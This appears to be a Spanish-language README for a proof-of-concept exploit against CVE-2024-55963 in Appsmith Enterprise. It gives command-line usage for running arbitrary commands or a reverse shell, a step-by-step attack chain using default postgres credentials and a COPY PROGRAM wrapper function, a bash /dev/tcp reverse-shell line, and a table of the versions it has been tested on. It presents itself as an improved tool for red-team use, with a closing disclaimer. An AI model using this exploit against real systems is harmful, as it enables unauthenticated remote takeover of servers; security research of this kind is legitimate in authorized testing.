
CVE-2024-55963, permite la ejecución remota de código sin autenticación en la plataforma Appsmith Enterprise debido a una base de datos PostgreSQL mal configurada incluida por defecto.
Exploit PoC para CVE‑2024‑55963 que ejecuta comandos arbitrarios o lanza una reverse shell en instancias Appsmith vulnerables.
Maneja automáticamente tanto servidores modernos (con la función environmentId) como versiones mucho más antiguas «legacy» anteriores a ella, por lo que puedes usar un solo script para todas las versiones desde v1.20 hasta la última versión vulnerable v1.51.
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
Nota: Cualquier credencial sirve siempre que el servidor permita el registro autoservicio. El script intenta iniciar sesión primero y recurre al registro si la cuenta no existe.
/api/v1/environments/workspaces/{id}; si no existe, cambia al modo legacy (environmentId vacío)./api/v1/applications y extrae pageId.localhost:5432 con credenciales postgres/postgres (permitidas por el pg_hba.conf vulnerable por defecto).exec_cmd() junto con una tabla temporal cmd_output que recoge STDOUT.SELECT * FROM exec_cmd('<your cmd>') mediante el endpoint /api/v1/actions/executebash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'requests| Appsmith version | Result |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, modo legacy |
| 1.52+ | ❌ Parcheada: falla la creación de funciones |
Este PoC es una especie de mejora del exploit de Rhino Security Labs (no me di cuenta de que ya tenían un PoC público cuando estaba revisando la investigación).
El PoC de Rhino utiliza cabeceras, cookies y credenciales estáticas. Al probar ese exploit me encontré con problemas cuando la cuenta ya existía en versiones concretas. Este script permite al usuario indicar cualquier combinación de correo/contraseña desde la línea de comandos. Como se menciona, el token CSRF se extrae en lugar de depender de valores fijos.
Environments API.COPY PROGRAM dentro del envoltorio PL/pgSQL exec_cmd() y usa la API /actions/execute, aunque es posiblemente más ruidosa. Rhino se apoya en el endpoint integrado de vista previa del esquema para emitir una sentencia COPY (SELECT …) ad hoc. Ese endpoint trunca la longitud de la salida y añade reglas de comillas adicionales, por lo que es más difícil pasar comandos largos o payloads encadenados.pyfigletenvironmentId. El exploit de Rhino asume que siempre está presente.En conjunto, estas decisiones de diseño hacen que el exploit sea más corto, más fiable y más cómodo para uso en red team, a la vez que sigue demostrando la misma vulnerabilidad subyacente.
Este código se proporciona solo con fines educativos y de pruebas autorizadas. Ejecutarlo contra sistemas que no posees o para los que no tienes permiso explícito de prueba es probablemente ilegal. Los autores no aceptan ninguna responsabilidad por el mal uso.